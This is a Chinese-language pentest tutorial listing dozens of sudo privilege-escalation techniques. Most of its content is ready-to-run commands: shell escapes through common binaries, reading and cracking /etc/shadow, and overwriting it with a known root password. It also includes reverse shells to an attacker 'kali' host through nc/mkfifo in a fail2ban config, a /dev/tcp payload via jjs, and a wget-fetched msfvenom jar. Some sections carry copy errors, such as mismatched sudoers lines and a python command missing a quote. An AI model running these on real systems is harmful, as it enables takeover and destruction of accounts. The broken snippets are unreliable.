在进行渗透测试获取初始立足点的shell后,通常会运行sudo -l查看当前用户的权限,可通过系统已有可执行文件的权限实现提权。提权的本质就是低权限的用户因为某种特殊的配置/漏洞,可利用具有高权限的指令/工具/脚本等执行高权限的操作。有关Linux系统的提权方法有很多,包含passwd或shadow文件利用提权、自动任务提权、SUID提权、内核漏洞提权、第三方工具提权、sudo提权等等,本文将详解十几种sudo提权的方法。

查看当前权限

sudo -l

资源网站

GTFOBins

CVE-2019-14287

漏洞利用前提

1.sudo版本要求:该漏洞针对1.8.28以下的sudo版本。查看sudo版本的指令是:

1
sudo -V |grep version

2.运行sudo -l后显示当前用户可以免密切换至其他任意非root用户,即:

(ALL, !root) NOPASSWD: /bin/bash

提权操作

1
sudo -u#-1 /bin/bash

sudo apt和sudo apt-get

漏洞利用前提

当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/apt

提权操作

针对sudo apt:

1
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

针对 sudo apt-get

1
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

sudo apache2

漏洞利用前提

当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/apache2

操作方式

1
sudo apache2 -f /etc/shadow

其中-f用于指定apache2的配置文件,我们指定存放了密码hash的文件/etc/shadow。执行时由于给定的配置文件有问题,肯定会出现报错,报错的时候会暴露/etc/shadow文件的第一行,从而给我们利用的可能。报错信息如下:

error on line 1 oflink
1
Invalid command 'root:$6$TB/euwMK$0XA............:::',perhaps mispelled or defined by a module not in cluded in the server configuration

这样我们把其中关于root账号的密码hash$6$TB/euwMK$0XA…………(此处这个hash只是示意)找个字典破解一下,有可能就能拿到密码。比如可以把密码hash命名为passwordhash,然后在kali中用john破解一下:

1
john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt

sudo ash

漏洞利用前提

当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ash

操作方式

1
2
sudo ash
bash

直接运行sudo ash即可提权,本质上ash就是启动一个shell的命令。既然可以以高权限启动,相当于直接提权,再用命令bash开启一个会话提高shell的交互性。这里的关键在于认出ash就是一种shell环境。与之类似还有bash/csh/zsh/sh/tclsh/dash等,均为shell环境。

sudo awk

漏洞利用前提

当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/awk

操作方式

sudo awk 'BEGIN {system("/bin/sh")}'

awk是常用的文本处理工具之一,上述命令中单引号中的内容是传递给awk工具的脚本,而BEGIN是awk工具的一个特殊模式,表示在处理任何输入前执行的动作,我们用大括号{}添加了指定awk执行的操作:系统命令——启动一个shell环境,从而实现提权。

sudo base32/58/64/nc/z

漏洞利用前提

当前用户可以以sudo高级权限运行base32/58/64/nc/z指令。即运行sudo -l后会有如下的行(此处以base4为例):

(root) NOPASSWD: /usr/bin/base64

操作方式

1
sudo base64 "$bossfrank" | base64 -d

base64就是用来编码的,具有sudo权限后可以读取高权限用户才能读取的文件。我们可以利用base64工具的权限,对敏感其进行编码再解码,读取结果(也就是读取原始文件)。 利用这种方式我们就可读取原本的shadow文件,然后再对root用户的hash进行字典碰撞破解,如果破解成功,即可su提权。(base64/58/32/nc/z的利用方式相似)

sudo cp

漏洞利用前提

当前用户可以以sudo高级权限运行复制cp指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/cp

操作方式

本质思路就是利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件,从而修改了root账户的密码,用新的密码进行提权。

详情可见cp | GTFOBins,具体操作如下:

首先我们可以用mkpasswd生成sha-512加密(/etc/shadow中密码的加密方式)的密文,我们企图把root账户的密码修改为123456,故此处命令为:
mkpasswd -m sha-512 123456

加密结果为:

1
$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.

查看kali的/etc/shadow可以看到通常情况下shadow的形式

1
cat /etc/shadow | grep root 

照着这个形式,我们可以构造一行如下的字符串,这行字符串之后会拷贝覆盖靶机中的/etc/shadow文件:

1
root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

然后在靶机中进行如下的操作:

首先声明一个环境变量,用于指向/etc/shadow:

bossfrank=/etc/shadow

然后再生成一个名为TF的变量,指向用mktemp生成的临时文件:

1
TF=$(mktemp)

然后将刚刚我们生成的shadow记录(即root账户密码是123456)写入TF变量:

1
echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF

插叙一下,此时可以查看TF变量的内容,输出TF(echo $TF)可以看到:

/tmp/tmp.Rmzxhak

再查看这个临时文件(cat /tmp/tmp.Rmzxhak),就是我们刚刚的那条shadow记录

最后是关键步骤,使用sudo的cp复制指令,将我们的这条shadow记录复制到/etc/shadow,实现覆盖操作:

1
sudo /usr/bin/cp $TF $bossfrank

sudo cpulimit

漏洞利用前提

当前用户可以以sudo高级权限运行cpulimit指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/cpulimit

提权操作

1
sudo cpulimit -l 100 -f /bin/bash

其中-l 100用于限制(指定)cpu的使用率,此处为100%,-f参数表示运行某个程序,该程序以-l参数指定的使用率占用CPU,此处执行的程序就是启动/bash,由于cpulimit具有sudo权限,故可以直接提权。

sudo curl

漏洞利用前提

当前用户可以以sudo高级权限运行curl指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/curl

操作方式

该操作的本质思路与sudo cp小节的类似,都是通过覆盖系统的/etc/shadow文件修改root密码,达到提权的目的。前述生成shadow格式的操作见sudo cp小节,这里把对于123456进行sha-512加密的shadow形式的字符串存成了一个文件shadow_entry,这就是我们的payload:

在kali中启动一个http服务,架设一个站点,用于存放这个恶意载荷payload:

1
php -S 0:80 

然后在靶机中通过sudo curl访问kali上的payload,也就是这个shadow_entry,并把结果输出到/etc/shadow,从而覆盖了靶机原有的/etc/shadow文件,实现了对root账户的密码修改

1
sudo curl http://kali的ip/shadow_entry -o /etc/shadow

-o参数用于将结果输出到文件,接下来只要su提权,输入我们的密码即可。该方法同样由于覆盖了原有的/etc/shadow,对靶机的系统是有破坏的。

sudo date

漏洞利用前提

当前用户可以以sudo高级权限运行日期date指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/date

操作方式

sudo date命令的提权操作与sudo apache2的操作相似

1
sudo date -f /etc/shadow

其中-f用于指定读取日期的路径。我们利用date的sudo权限从/etc/shadow中读取日期,/etc/shadow中不存在日期信息,会出现报错,但报错中会显示/etc/shadow的内容。

然后执行hash碰撞即可。

sudo dd

漏洞利用前提

当前用户可以以sudo高级权限运行dd指令。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/dd

操作方式

dd指令是一个命令行工具,可对原始指令进行复制、转化,可以用于转换编码、生成文件等。

该提权方法与前述的sudo cp 和 sudo curl有类似之处,都是通过覆盖/etc/shadow文件的方法,覆盖后使用自己的设定的密码进行登录。首先还是先构造一个shadow形式的字符串,设定密码为123456(方法详见sudo cp):

1
root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

运行如下指令即可实现对靶机/etc/shadow文件的覆盖:

1
echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow

of参数用于输出文件,这里设置为/etc/shadow,就会将我们构造的payload输出到/etc/shadow,实现对靶机中/etc/shadow的覆盖。 同样,这对于靶机也是有损的,建议先备份原有的/etc/shadow。

sudo dstat

漏洞利用前提

当前用户可以以sudo高级权限运行dstat指令。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/dstat

提权操作

该操作的核心逻辑是dstat指令可以指定插件,我们可以在插件目录中写入我们用于提权的exp脚本,然后sudo运行dstat的时候同时指定这个插件脚本,即可实现提权。dstat的插件目录通常位于/usr/local/share/dstat或/usr/share/dstat,可以先通过find命令进行查找到底是哪个目录:

1
find / -name dstat -type f 2>/dev/null

这里假定插件目录是/usr/share/dstat,我们在这个目录中写入我们的python提权脚本(插件)dstat_exp.py:

1
import os; os.execv("/bin/sh", ["sh"])

当然也可以直接echo到指定目录:

1
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py

然后sudo运行dstat的时候指定插件名exp即可提权:

1
sudo dstat --exp

注意此处我们插件的脚本名称是dstat_exp.py,但指定插件名称时输入的是exp。

sudo ed

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ed

提权操作

直接sudo运行ed即可进入文本编辑界面,然后输入:

1
!/bin/bash

即可直接提权。感叹号!表明执行系统命令。我们执行的系统命令是/bin/bash,即启动bash,又由于ed本身是以sudo执行的,从而启动了root的bash,实现了提权。

sudo env

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ed

提权操作

直接sudo运行env执行/bin/bash即可:

1
sudo env /bin/sh

env通常用于设定环境变量相关的参数,在此处也可以执行命令,直接以启动bash即可提权。

sudo exiftools

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/exiftool

提权操作

这里给出红队笔记大佬的漏洞利用方式,按照上述漏洞源码中提示的逻辑操作即可:

首先构造payload,并在里面写入源数据,启动一个系统的shell:

echo "(metadata \"\c${system('/bin/bash')};\")" > payload

或直接vi payload编辑:

1
(metadata "\c${system('/bin/bash')};")

然后使用bzz工具进行压缩:

1
bzz payload payload.bzz

按照利用文件,用djvumake工具生成利用文件exploit.djvu,djvu是一种图像文件压缩格式,主要用于扫描文档和电子书格式。

1
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

提权命令:

1
sudo exiftool exploit.djvu

sudo expect

漏洞利用前提

当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/expect

expect命令可以模拟用户的输入,将需要用户交互的操作自动化完成,可用于脚本和其他自动化环境之中。

操作方式

1
sudo expect -c 'spawn /bin/bash;interact'

其参数-c可之间添加脚本代码,而不是从文件中读取代码。spawn /bin/bash用于生成bash环境,用;interact指定是交互的shell,运行即可提权。从expect的利用也可以看出,很多可执行文件的sudo提权方式都是依靠其能够以高权限的身份指定配置文件或运行系统命令。

sudo fail2ban

当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /etc/init.d/fail2ban

fail2ban是一个用于防御的工具,可以用于针对暴力破解密码的攻击。比如当ssh登录时多次密码错误,就会触发fail2ban的操作,短暂封禁登录的ip,短时期内无法再进行密码尝试。

操作方式

首先我们要知道fail2ban工具的目录在哪里,可以用find进行查找:

1
find -name "fail2ban*" -type d 2>/dev/null

结果显示有好几个目录,大概可以判断fail2ban的目录是/etc/fail2ban,我们查看其目录下的配置文件是否可写:

1
find /etc/fail2ban -writable -type d 2>/dev/null

结果显示为:/etc/fail2ban/action.d,也就是说配置文件action.d是可写的(该目录详细规定了当触发ban时执行的操作)。在linux的目录结构中,若以.d为名称结尾,通常说明该目录是一些脚本文件。我们进入/etc/fail2ban/action.d后,发现其中有配置文件iptables-multport.conf,该文件规定了当ssh登录在短时间内多次错误尝试触发ban行为后执行的操作,查看这个文件的属性(ls -liah iptables-multport.conf)如下:

1
345817  -rw-r--r--  1  root  root  1.5k  May  22  15:24  iptables-multport.conf

可发现所属主和所属组都是root,文件的权限属性为644,而我们目前仅仅是一个普通的shell用户, 无法直接对该文件进行编辑修改。但是由于iptables-multport.conf所在目录/etc/fail2ban/action.d是可写的,我们可以在当前目录创建和删除文件,通过如下的操作实现对iptables-multport.conf的可写。首先通过mv将iptables-multport.conf文件重命名为iptables-multport.conf.bak:

1
mv iptables-multport.conf iptables-multport.conf.bak

执行此操作后,/etc/fail2ban/action.d目录下就没有iptables-multport.conf文件了,而有一个备份文件iptables-multport.conf.bak,这个iptables-multport.conf.bak文件与先前的iptables-multport.conf文件具有相同的文件属性(mv操作并不会创建新文件,仅仅是修改原文件的位置或名字,文件的权限并不会改变,所属主和所属组均为root),我们再把这个iptables-multport.conf.bak文件进行复制,并命名为iptables-multport.conf:

1
mv iptables-multport.conf.bak iptables-multport.conf

这样目录中就又有iptables-multport.conf了,此时由于cp操作的特性(以当前用户的权限创建新文件),我们查看iptables-multport.conf这个文件的属性(ls -liah iptables-multport.conf),可以发现所属主和所属组都变为了当前用户jackie:

1
345123  -rw-r--r--  1  jackie  jackie  1.5k  May  22  15:54  iptables-multport.conf

此时我们就能够编辑iptables-multport.conf了,vim查看并编辑,在其中发现触发ban后执行的操作是actionban = 操作。我们讲这个操作修改为提权的逻辑,比如反弹shell,即修改后的iptables-multport.conf了文件中actionban所在行内容如下:

1
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f

修改完成后:wq报错推出,再次sudo重启fail2ban服务,保证我们修改的iptables-multport.conf生效:

1
sudo /etc/init.d/fail2ban restart 

然后进行kali中nc监听刚刚反弹shell的端口1234:

1
nc -lvnp 1234

最后我们只要再次ssh尝试登录jackie这个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf,里面写了10s内尝试5次就会触发ban。但我们只要尽可能的快速多次输入错误密码即可),触发actionban操作,即可触发反弹shell。

利用fail2ban的操作看似复杂,其实核心就是我们修改了fail2ban触发ban后执行的逻辑(改为了反弹shell),然后故意错误密码短时间多次尝试触发ban,利用fail2ban的sudo权限,触发ban后执行了我们指定的反弹shell操作。利用的难点在于:

1
2
3
1.必须知道fail2ban是干啥的,其中的配置文件在哪里,触发ban后的action的操作命令在哪里。

2.Linux系统的权限逻辑:配置文件iptables-multport.conf本身是不可编辑的(权限为644,当前用户无法编辑),但iptables-multport.conf所在目录action.d是可写的,我们利用mv和cp命令的权限逻辑,最终使得当前用户jackie对iptables-multport.conf具有可写权限。

sudo find

漏洞利用前提

当前用户可以以sudo高级权限运行find指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/find

操作方式

1
sudo find . -exec /bin/bash \; -quit

运行上述命令即可提权。用find命令随便在某个目录查找,比如当前目录.,然后添加参数-exec执行bash(/bin/bash不会对find找到的文件进行任何处理),其中的分号;表示-exec执行命令的结束位置,分号;前面的\是转义符,对分号;进行了转义,如果不加转义符/,则分号;会被解释为命令行的语句分割符,会使得-exec找不到命令执行的结束位置。

sudo flock

漏洞利用前提

当前用户可以以sudo高级权限运行flock指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/flock

flock本身是一个linux系统中管理文件锁定的实用程序,协调多个进程对文件系统的访问,避免多个进程同时访问一个资源导致问题。利用详情可见flock | GTFOBins

操作方式

1
sudo flock -u / /bin/bash

运行即可提权。-u参数表示解锁(unlock),此处为解锁根目录/的文件,并用/bin/bash来操作,该指令会启动/bin/bash会话,从而实现提权。

sudo ftp

漏洞利用前提

当前用户可以以sudo高级权限运行ftp指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/ftp

操作方式

1
2
sudo ftp
!/bin/sh

运行即可提权,逻辑显然,利用ftp的交互命令行启动系统的bash。

sudo gcc

漏洞利用前提

当前用户可以以sudo高级权限运行gcc编译指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/gcc

操作方式

1
sudo gcc -wrapper /bin/bash,-s .

运行即可提权。用-wrapper指定包装器,在包装器中添加启动shell的指令,,-s是bash的参数,指定从标准输入读取命令,保证读取到EOF时不会退出,点.表示编译的内容,此时我们并不关心编译啥,随便给个当前目录.即可。

sudo gdb

当前用户可以以sudo高级权限运行gdb编译指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/gdb

gdb是GNU debugger的缩写,是源代码级别的调试器,主要用于C/C++的程序调试。利用详情可见gdb | GTFOBins

操作方式

1
sudo gdb -nx -ex '!bash' -ex quit

运行即可提权,其中-nx表示启动时不读取执行任何配置文件,-ex表示执行指令,感叹号!表示执行的是系统命令,执行完之后再执行退出(-ex quit)。

sudo git

漏洞利用前提

当前用户可以以sudo高级权限运行git指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/git

操作方式

1
2
sudo git branch --help
!/bin/bash

通过查看帮助时调用了类似less的机制实现了提权,在查看帮助时可以输入感叹号!执行系统命令。该方法与在less中提权是很相似的。

sudo gzip/gunzip

漏洞利用前提

当前用户可以以sudo高级权限运行压缩/解压缩gzip/gunzip指令,即运行sudo -l后会有如下的行:

1
2
3
(root) NOPASSWD: /usr/bin/gzip

(root) NOPASSWD: /usr/bin/gunzip

操作方式

1
sudo gzip -f /etc/shadow -t

运行后会暴露/etc/shadow文件的内容,然后再用john破解即可,有类似的利用,比如sudo apache2

其中-t表示检查压缩文件,在进行检查的时候就会读取并显示对应文件,从而暴露了敏感文件/etc/shadow, -f表示force强制执行,保证程序可以正常执行。gunzip的利用方式完全一致。

sudo iftop

漏洞利用前提

当前用户可以以sudo高级权限运行iftop指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/sbin/iftop

iftop是一个命令行形式的网络流量监控工具,用于实时显示某个网络接口的带宽使用情况,可以显示实时视图。利用详情可见iftop | GTFOBins

操作方式

1
2
sudo iftop
!/bin/bash

通过输入!告诉工具要执行系统命令,然后启动bash提权。

sudo hping3

漏洞利用前提

当前用户可以以sudo高级权限运行网络工具hping3指令,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/sbin/hping3

hping3是一个非常强大的网络工具,主要用于分析测试网络环境,生成各种类型的数据包。利用详情可见hping3 | GTFOBins

操作方式

1
2
sudo hping3
/bin/bash

利用方式和sudo ftp类似,工具都有自带的命令行,在自带的命令行中运行系统命令,启动bash即可提权。

sudo java

漏洞利用前提

当前用户可以以sudo高级权限运行java,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/java

遇到这种运行主流语言作为sudo的指令时,首先考虑采用该语言本身的反弹shell指令提权。

操作方式

思路就是,写一个java的反弹shell(shell.jar),然后再靶机中执行java -jar shell.jar即可,我们此处用kali自带的msfvenom生成java的反弹shell:

1
msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar

然后把这个文件传到靶机上,传统思路,当前目录开启http服务:

1
php -S 0:80

然后在靶机中把这个shell.jar给他wget下来:

1
wget http://kali的ip/shell.jar

然后靶机中运行即可(注意kali中先要开启nc -lvnp 1234):

1
java -jar shell.jar

sudo jjs

漏洞利用前提

当前用户可以以sudo高级权限运行jjs,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/jjs

操作方式

由于直接运行GTFOBins的指令会卡死,本操作方式结合了jjs | GTFOBins的逻辑,并使用Reverse Shell Cheat Sheet | pentestmonkey的java反弹shell编写方式。

1
echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs

逻辑就是将一个脚本输出到jjs中,而jjs具有sudo权限,执行此反弹shell的逻辑会反弹root的shell。执行之前别忘了在kali中开启nc监听1234端口:

1
nc -lvnp 1234

即可收到反弹shell。注意此时收到的反弹shell可能交互性不完全,可以输入bash启动bash的shell增强交互性。

sudo journalctl

漏洞利用前提

当前用户可以以sudo高级权限运行journalctl,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /bin/journalctl

同时感叹号!执行系统命令的功能不可被禁用。

journalctl是systemctl体系下用于管理系统日志的工具,在较新的linux发行版中都会有。利用详情可见journalctl | GTFOBins

操作方式

先直接sudo执行journalctl:

1
sudo journalctl

然后发现进入了查看系统日志的界面,该界面的底层采用了和less命令相似的机制,都可以之间键入感叹号!输入系统命令,因此直接输入:

1
!/bin/bash

即可实现提权。如果感叹号!执行系统命令的功能被禁用了,则无法提权。

sudo knife

漏洞利用前提

当前用户可以以sudo高级权限运行knife,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/knife

knife是chef的命令行接口,可以与chef的服务器进行交互,chef是一个服务器等基础设施的自动化管理和配置工具。利用详情可见knife | GTFOBins

操作方式

1
sudo knife exec -E 'exec "/bin/bash"'

其中exec是knife的子命令,-E参数引入ruby语言格式的字符串(knife是基于ruby语言编写的),表示要执行的命令。执行即可提权。

sudo less

漏洞利用前提

当前用户可以以sudo高级权限运行less,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/less

less是常见的用于读取文件的工具,前面已经提到了许多类似less机制的提权,都是利用了读取文件时可以键入系统命令启动shell,利用详见less | GTFOBins

操作方式

可以先建立一个临时文件

1
mktemp ./XXX

然后应该可以看到这个临时文件的名字,比如./tE70f,然后用sudo less读取这个临时文件:

1
sudo less tE70f

进入读的界面后,键入感叹号表示输入系统命令,启动bash即可提权:

1
!/bin/bash

当然也可以直接随便读取个文件,然后输入!/bin/bash,这里描述的采用临时文件的方法有助于渗透测试过程中对自身痕迹的隐藏。

sudo man

漏洞利用前提

当前用户可以以sudo高级权限运行man,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/man

man是常用的用于查看linux命令帮助的工具,提权利用也是类似less的机制,利用详见man | GTFOBins

操作方式

首先随便输入用sudo man查看一个linux命令,这里以ls为例:

1
sudo man ls

进入帮助界面后,也是键入!可以运行系统命令,类似less的机制即可提权:

1
!/bin/bash

sudo more

漏洞利用前提

当前用户可以以sudo高级权限运行more,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/more

more和less类似,都是用于读取文件,提权利用也是类似less的机制,利用详见more | GTFOBins

操作方式

还是通过临时文件的方法,先建立一个临时文件:

1
mktemp ./xxx

应该可以看到这个临时文件的名字,比如./7aADd,此时由于这个临时文件是空的,用more读取不会看到任何的结果,因此我们可以先将某个文件重定向到这个临时文件,这里假设bossfrank是一个已有的文件:

1
yes bossfrank > 7aADd

然后通过more读取,并用!启动bash:

1
2
sudo more 7aADd
!/bin/bash

同样,使用临时文件便于隐藏痕迹。单纯为了提权也可以直接读取系统的文件。

sudo mount

漏洞利用前提

当前用户可以以sudo高级权限运行mount,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/mount

mount常用于文件挂载,可以挂载磁盘也可以挂载共享文件目录,利用详见mount | GTFOBins

操作方式

1
sudo mount -o bind /bin/bash /bin/mount

-o意思是option指定选项,bind用于绑定,将bash绑定到mount中,这样只要再次sudo运行mount即可提权:

1
sudo mount

sudo mysql

漏洞利用前提

当前用户可以以sudo高级权限运行mysql,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/mysql

类似mysql这种关键应用常常有执行系统命令的操作,利用详见mysql | GTFOBins

操作方式

1
sudo mysql -e '\! /bin/sh'

其中-e表示执行系统命令,感叹号!表示开始执行系统命令,由于在bash语句中的感叹号!表示访问历史记录,因此要对感叹号!使用反斜杠\进行转义。

sudo nano

漏洞利用前提

当前用户可以以sudo高级权限运行nano,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/nano

nano是一个文本编辑器,其提权方式非常典型。许多工具底层都会调用nano,因此这是一类的提权方式。利用详见nano | GTFOBins

操作方式

启动nano,可以在nano编辑器底部看到如下的菜单:

1
sudo nano

输入ctrl + r选择读取文件Read File,进入读取文件的界面,其下部的菜单如下:

此处可以看到,输入ctrl + x进入Execute Command执行命令界面,然后我们只要输入要执行的系统命令即可:

1
reset;bash 1>&0 2>&0

首先reset重置环境变量,然后启动bash并将输出和错误信息重定向,即可提权。

sudo neofetch

漏洞利用前提

当前用户可以以sudo高级权限运行neofetch,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/neofetch

neofetch本身是一个用于显示系统配置信息的命令行工具,可以通过自定义配置文件改变输出的信息和格式,实现提权,利用详见neofetch | GTFOBins

操作方式

先声明一个变量TF,指向一个新建的临时文件:

1
TF=$(mktemp)

将提权逻辑写入临时文件中:

1
echo 'exec /bin/bash' >$TF

最后sudo运行neofetch,同时指定这个配置文件:

1
sudo neofetch --config $TF

neofetch的配置文件只能通过指定文件的方式进行,因此提权逻辑只能写在文件中,无法在上述语句中直接添加执行系统命令的明文指令。运行上述指令即可提权。

sudo nice

漏洞利用前提

当前用户可以以sudo高级权限运行nice,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/nice

nice命令本身用于修改进程的优先级(优先级最高-20,最低19,默认为10),利用详见nice | GTFOBins

操作方式

直接可以启动bash:

1
sudo nice /bin/bash

运行即可提权。

sudo nmap

漏洞利用前提

当前用户可以以sudo高级权限运行nmap,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/nice

nmap是常见的端口扫描工具,其中可以自定义脚本,利用详见nmap | GTFOBins

操作方式

nmap有许多版本,也有不同的提权方式,这里给出其中一种:首先声明一个变量TF,指向一个新建的临时文件:

1
TF=$(mktemp)

将提权逻辑echo到这个临时文件:

1
echo 'os.execute("/bin/sh")' > $TF

sudo运行nmap并指定我们编写的提权脚本:

1
sudo nmap --script=$TF

sudo node

漏洞利用前提

当前用户可以以sudo高级权限运行node,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/node

node命令用于运行Node.js,利用详见node | GTFOBins

操作方式

Node.js的选项-e可以进行提权操作:

1
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

用-e指定字符串,字符串是Node.js的代码。执行上述命令即可提权。

sudo nohup

漏洞利用前提

当前用户可以以sudo高级权限运行nohup,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/nohup

nohup命令主要用于作业管理,nohup可以运行命令的同时忽略挂起的信号(比如用nohup启动进程后,当终端关闭之后,进程依旧运行),利用详见nohup | GTFOBins

操作方式

1
sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

先用nohup启动/bin/bash会话,其中-c参数对进程进行管理,将bash的输入输出重定向。运行即可提权。

sudo openvpn

漏洞利用前提

当前用户可以以sudo高级权限运行openvpn,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/sbin/openvpn

openvpn的利用详见openvpn | GTFOBins

操作方式

openvpn可以通过参数读取配置文件,如果可以sudo,则能够以root身份读取系统的敏感文件:

1
sudo openvpn --config /etc/shadow

结果会报错,但报错信息会暴露敏感信息的第一行,即/etc/shadow的第一行,我们可以据此拿到root账户的密码hash,再用john找个字典破解即可(未必能破解出来)。

sudo passwd

漏洞利用前提

当前用户可以以sudo高级权限运行修改密码指令passwd,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/passwd

passwd的利用就是直接修改密码。

操作方式

既然可以sudo运行passwd,那咱可以直接把root的密码改掉:

1
sudo passwd

然后输入两次密码,就可以用我们的新密码su提权了。虽然看着有点离谱,但是真实情况还真有可能出现这种配置情况:低权限的管理员需要修改系统的密码,就会给自己设置passwd的sudo权限。

sudo perl

漏洞利用前提

当前用户可以以sudo高级权限运行perl语言,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/perl

操作方式

perl是一种脚本语言,提权方式有很多。以如下为例:

1
sudo perl -e 'exec "/bin/sh";'

perl语言有-e参数,用于直接执行perl脚本,按照这种方式,直接执行启动bash即可,运行上述命令即可直接提权。

sudo php

漏洞利用前提

当前用户可以以sudo高级权限运行php,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/php

操作方式

php也是常见的语言,在渗透测试过程中更是尤为常见。我们应该能想到许多提权语句。这里采用一种简单直观的,直接用-r参数启动bash。在web渗透中这些操作也是非常实用的。

1
sudo php -r "system('/bin/bash');"

sudo pico

漏洞利用前提

当前用户可以以sudo高级权限运行pico,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/pico

pico和nano非常相似,也是一种编辑器(功能与nano有差异),利用详见pico | GTFOBins

操作方式

这里的操作和nano的提权方式基本一致,懒得讲了,总之就是如下命令:

1
2
3
sudo pico
^R^X
reset; bash 1>&0 2>&0

其中ctrl + r选择Read File模式,ctrl + x选择执行命令Execute Commend

sudo pkexec

漏洞利用前提

当前用户可以以sudo高级权限运行pkexec,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/pkexec

pk就是policykit策略套件的简称,是一种用于管理系统策略的服务。policykit可以允许非特权进程通信以进行特权操作。利用详见pkexec | GTFOBins

操作方式

pkexec这个工具可以进行权限相关的操作,执行用户指定的程序,这里就是启动bash

1
sudo pkexec /bin/bash

sudo python3

漏洞利用前提

当前用户可以以sudo高级权限运行python3,即运行sudo -l后会有如下的行:

1
(root) NOPASSWD: /usr/bin/python3

操作方式

我们通常用python语句进行反射,提高shell的交互性,这里也可以直接利用语句启动shell:

1
sudo python3 -c "import os;os.system('/bin/bash)"

sudo rvim

漏洞利用前提

